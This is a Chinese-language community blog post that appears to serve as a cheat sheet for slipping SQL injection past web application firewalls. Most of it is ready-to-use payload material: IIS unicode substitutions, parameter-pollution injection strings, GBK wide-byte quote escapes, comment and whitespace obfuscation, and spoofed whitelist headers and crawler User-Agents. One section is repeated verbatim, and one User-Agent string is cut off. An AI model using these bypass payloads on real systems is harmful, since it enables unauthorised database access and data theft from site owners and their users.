开发者社区> iewpzppxbbjsw> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

【网络安全】——sql注入之bypass深度剖析

简介: 本文分享了我自己总结的常规sql注入常规操作步骤,足够在日常sql渗透测试时使用,适合一些对渗透测试流程不是特别清晰的同学观看,会不定期更新并完善内容
+关注继续查看

一.识别WAF类型

1.Nmap:

        用法:        nmap -p 80 --script http-waf-fingerprint 网址

        demo:      nmap -p 80 --script http-waf- detect.nse www.baidu.com

2.Waf00f:

       用法:waf00f     网址,该工具kali自带

3.拦截信息观察

        根据拦截界面一般可以观察出waf类型,但有的不行

二.观察服务器特性

1.ASP+IIS

 如果网站后端语言是ASP,并且使用的IIS中间件,则有可能存在以下waf绕过姿势

(1)%特性:

就是在指令中插入%,导致waf层解析不出完整指令从而放行,但是在数据库层面运行时就可能被识别并解析出完整指令,就达到绕 过waf目的

例子:比如s%elect因为有%隔开,所以waf层可能识别结果就是s%elect,但是在数据库层面可能被识别并解析为select,所以就达到了绕过waf的目的

(2)%u特性:

适用于用unicode编码绕过waf时, unicode编码iis解析会换成multibyte编码,但是有几个不同的unicode编码会被换成同一个multibyte,而waf层可能只识别其中的一个unicode编码,所以此时换另一个unicode编码就有可能绕过waf的防护

例子:比如select的e对应的unicode编码为%u0065,但是%u00f0和%u0045同样会被化为e,waf可能只能识别其中的%u0065,所以此时我们换成%u00f0,就能成功绕过waf,但是iis解析时同样解析为e所以此时就可以理解为

select=s%u0045lect = s%u0065lect =%u00f0lect

下面为大家准备了常见的uncoide编码替换方案 

常见三个关键字(union,select,from)的测试情况:

           u --> %u0055 --> %u0075

           n --> %u004e --> %u006e

           i --> %u0049 --> %u0069

           o --> %u004f --> %u006f --> %u00ba

           s --> %u0053 --> %u0073

           l --> %u004c --> %u006c

           e --> %u0045 --> %u0065 --> %u00f0

           c --> %u0043 --> %u0063

           t --> %u0054 --> %u0074 --> %u00de --> %u00fe

           f --> %u0046 --> %u0066

           r --> %u0052 --> %u0072

           m --> %u004d --> %u006d

2.ASP+IIS和ASPX+IIS

 (1)IIS服务器支持对unicode的解析

比如对select命令进行unicode编码,可以的到s%u006c%u0006ect,iis接收时会对unicode编码解析,最后识别为select,但是waf层可能识别不了unicode编码

3.apache畸形绕过

(1)get替换

在GET请求发起的数据包中,GET可以替换为任意字符(一般替换成POST),不影响apahce接收参数id=2,即把请求包我圈上的的GET换成啥都行 

image

三:应用层特性

1.大小写绕过

这个就不需要多讲了,就是将命令中的字符进行一个大小写替换,有时能够绕过waf

 例子:select换成SeleCt(一般waf都会对这个有防护,但还是可以碰碰运气)

2.关键字替换

关键字替换在平时的渗透中使用的较多,主要是寻找同义函数,寻找替代品,一些关键字被防护拦截时就可以尝试替换

下面也为大家准备了一些常用的关键词替换

    (1)and --> && --> or  ---> xor --> ||         //(使用时需url编码)(xor只有一真一假才得真,其他都假)

   (2)ascii() -->  Hex()  -->  bin()  -->ord()

   (3)sleep()  -->  benchmark()

   (4)substr()  -->  mid() -->  substring()

   (5)user() -->  @@user

   (6)version()  -->@@version

   (7)#  --> --+  --> ;%00  

   (8)=  --> in  -->  regexp  -->  like  --> <>

3.双重编码

对命令进行双重编码,unicode,base64,hex都可以尝试,有可能绕过waf的识别

4.变换请求方式

(1)将以GET方式提交的数据通过修改发送的数据包换成以POST方式提交

 (2)在POST请求中,可以将Post数据包转为multipart/form-data格式数据包(burp可以换)

5.HPP参数污染

(1)参数混淆

就是注入的时候尝试加入更多参数改变注入位置来混淆识别机制,假设现有有一个站点的注入点时www.xxxx/?id=1,详情如下(此操作对不同环境效果不同

操作:

【1】. 加入更多混淆参数

例如:?id=1&id=2&id=3

【2】.在asp + iis环境的中:

 系统识别到的真实的id等于1+2+3,即三个id的值会拼接作为接收到的id值,此时我们就可以将攻击命令拆分注入,达到绕过waf的目的

例如:?id=1 union&ID=select 1,2&Id=from admin,此时的真实id的值就是

1 union select 1 from admin

【3】.php+apache的环境中:

 此时系统识别到的真实id=3,就是只识别最后一个id的值,前面的id都不管

(2)参数拼接

 get+post+cookie三个数据传输方式拼接的传参

(3)过滤逗号

?id=1 select 1,2,3,4 from admin可以修改为下面这种不需要逗号的格式

?id=1 union select 1&id=2&id=3&id=4 from admin

(4)无效参数

例如:?a=/*&sql=xxx&b=*/(无参数形式)

(a和b为无效参数,但a和b的值却构成了注释符(/**/),通过让waf以为这是注释里执行的就不拦截,但此时在a和b中间的参数进行注入就可以了)

(5)溢出形式

溢出形式算是特别常用的一种注入手段,就是依靠缓存溢出机制,用大量的脏数据来使我们的攻击命令绕过waf的拦截


例如:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union select null,system_user,null from                      INFORMATION_SCHEMA.schemata

6.宽字节绕过

(1)gbk编码转换

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)


存在宽字节注入的原因是因为部分防护机制是使用addslashes函数,会在我们输入的非法字符前添加“\”,而“\”会与我们的恶意代码的第一个字符形成gbk编码格式被解析,导致我们注入不成功

例子:注入点:www.xxxx.com?id=1


如果跟正常渗透操作一样加一个单引号,此时他就会生成一个‘\’在单引号前面,成为“\'”跟单引号形成gbk编码


此时我们可以在'的前面加上%81,就会形成下面这样的状态


www.xxxx.com?id=1%81\'


此时%81就会跟生成的\形成gbk编码,即%81%5C,被GBK当做编码识别成为“乗”字,而单引号不受影响正常注入

在线gbk编码对照表:GBK 编码范围, GBK 编码表 (qqxiuzi.cn) 

四:WAF层特性:

1.逻辑问题

(1)cdn防护型

有的站点只有cdn有防护,所以我们可以通过查找真实ip,来绕过cdn防护

(2)数据混淆型

即get和post同时提交,有可能waf进入post逻辑,忽略get的有害参数

(3)错误配置型

遇到https的站点时,有可能也同时开放了http服务,此时可能只有https有防护,只需要把url中的https换成http即可绕过

(4)00截断型

%00,部分waf无法识别%00之后的数据,此时可以id=1%00,后面放入注入语句

2.性能问题

(1)数据量问题

填充脏数据使数据达到一定量级,此时注入语句放在最后,比如传入多个参数其他参数,但是最后传入对的是正常参数

(2)处理量问题

同一请求多次发送,有些waf性能较低即可绕过,直接burp一直发

注:这里的两个谨慎使用,可能会影响有些小网站的正常运行

3.白名单

(1)ip白名单

有的waf会设置白名单方便管理员等人员访问与管理,假如此时你获取到了管理员的ip信息,就可以通过修改请求数据包中下面的参数(没有的话直接添加也可以)来绕过waf

X-forwarded-for 

X-remote-IP

X-originating-IP

 x-remote-addr

X-Real-ip

(2)静态资源

常见的静态文件(.js .jpg .swf .css等等),因为部分管理员为了方便调用资源,就设置了后缀白名单,waf识别到之后就不会拦截,将请求的数据加上白名单中的静态资源后缀即可绕过waf

例如 :http://10.9.9.201/sql.php/1.js?id=1

(3)URL白名单

这个原理也一样,有的管理员想要减少用于防护的费用,一些不重要的路径就不会进行cdn防护,而判断路径是否重要也是通过添加白名单的方式,只要检测出了在白名单中的路径,就会直接放行 

步骤:直接另设一个参数,参数的值为一些路径,也可能绕过

(4)爬虫白名单

这个就比较容易理解,很多网站为了在百度,Goole等搜索引擎里占更多权重,会把这类搜索引擎爬取网页时的UA头添加到白名单,此时只需要把我们的UA头换成搜索引擎的UA即可绕过waf

user-agent伪装成爬虫,下面我也给大家准备了一些常见搜索引擎的爬虫UA头

下面三个分别对应谷歌,百度,雅虎

UserAgent: "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

UserAgent: "Baiduspider+(+http://www.baidu.com/search/spider.htm)"

UserAgent: "Mozilla/5.0 (compatible; Yahoo! Slurp;

五:mysql数据库特性

1.Mysql:

(1)常用:

内联注释:            /*!12345union*/select 

Mysql黑魔法:         select{x user}from{x mysql.user}; 

换行符绕过:          %23%0a、%2d%2d%0a

(2)注入语句替换方式

[1]空格常见替换方式

 /**/

/*!12345union*/

/*anything*/

 [2]空白字符

可添加在任意位置

%09,%0a,%0b,%0c,%0d,%20,%a0都可以替换

一般%a0和%0a合起来用比较多, 即%a0%0a

[3]将注入语句的数字换成浮点型

[4]将空格替换为1E0

[5]空格替换为/N
[6]用空格或者引号包裹函数
[7]特殊符号代替空格

一些时候空格也会称为waf判断的重要依据,所以我们也可以把空格替换成其他字符

下面就是我给大家准备的常见替换方式 

1. %21 ! 叹号
2. %2b + 加号
3. %2d - 减号
4. %40 @ 电子邮件符号 
5. %7e ~ 波浪号

(3)函数

[1]常见字符串截取函数


Mid(version(),1,1)

Substr(version(),1,1)

Substring(version(),1,1)

Lpad(version(),1,1)

Rpad(version(),1,1)

Left(version(),1)

reverse(right(reverse(version()),1))

[2]常见字符串连接函数

concat(version(),'|',user());

concat_ws('|',1,2,3)

[3]特殊字符被过滤

【1】limit的逗号

limit 1 offset 0

【2】字符串截取处的逗号

mid(version() from 1 for 1)

【3】union处的逗号

union select * from (select 1)a join (select 2)b join (select 3)c

【4】过滤了比较符号

greatest代替,greatest返回三个参数的最大值

concat(version(),'|',user());

concat_ws('|',1,2,3)

[3]特殊字符被过滤

【1】limit的逗号

limit 1 offset 0

【2】字符串截取处的逗号

mid(version() from 1 for 1)

【3】union处的逗号

union select * from (select 1)a join (select 2)b join (select 3)c

【4】过滤了比较符号

greatest代替,greatest返回三个参数的最大值



版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
【墨菲安全实验室】Apache IoTDB grafana-connector模块SQL注入分析
【墨菲安全实验室】Apache IoTDB grafana-connector模块SQL注入分析
0 0
【大数据系列之JDBC】(五):使用PrepareStatement防止SQL注入
【大数据系列之JDBC】(五):使用PrepareStatement防止SQL注入
0 0
【大数据系列之JDBC】(四):Statement存在SQL注入问题
【大数据系列之JDBC】(四):Statement存在SQL注入问题
0 0
SQL注入笔记记录+MySQL的事务隔离级别
(一)SQL注入。 1.如何理解SQL注入? SQL注入是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手法。 2.SQL注入是如何产生的?
0 0
MySql基础-笔记12 -重复数据处理、SQL注入、导入导出数据
MySql基础-笔记12 -重复数据处理、SQL注入、导入导出数据
0 0
php操作mysql防止sql注入(合集)
php操作mysql防止sql注入(合集)
0 0
4 SQL注入盲注
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。 服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
0 0
【工具】sql注入的基本原理与sqlmap的简单使用
本文将介绍超重量级工具SQLMAP的使用,我们将从OSCP经典教材出发,以视频的方式为您讲解其原理,此外我们将常用命令加以整理,为您奉上。
0 0
sql注入详解-01
前言 本文主要记录之前在portswigger官方网站学习时的一些细节; 在不同的情况下会出现各种各样的SQL注入漏洞、攻击和技术。一些常见的SQL注入示例包括: 检索隐藏的数据,可以在其中修改SQL查询以返回其他结果。(就是能够查到其他的正常情况下你没有权限的看到的结果) 颠覆应用程序逻辑,你可以改变一个查询来干扰应用程序的逻辑。 联合攻击,可以从不同的数据库表检索数据。 检查数据库,从中可以提取关于数据库版本和结构的信息。 盲SQL注入,应用程序的响应中不返回你控制的查询结果。
0 0
文章
问答
文章排行榜
最热
最新
相关电子书
更多
用SQL做数据分析
立即下载
阿里云流计算 Flink SQL 核心功能解密
立即下载
Comparison of Spark SQL with Hive
立即下载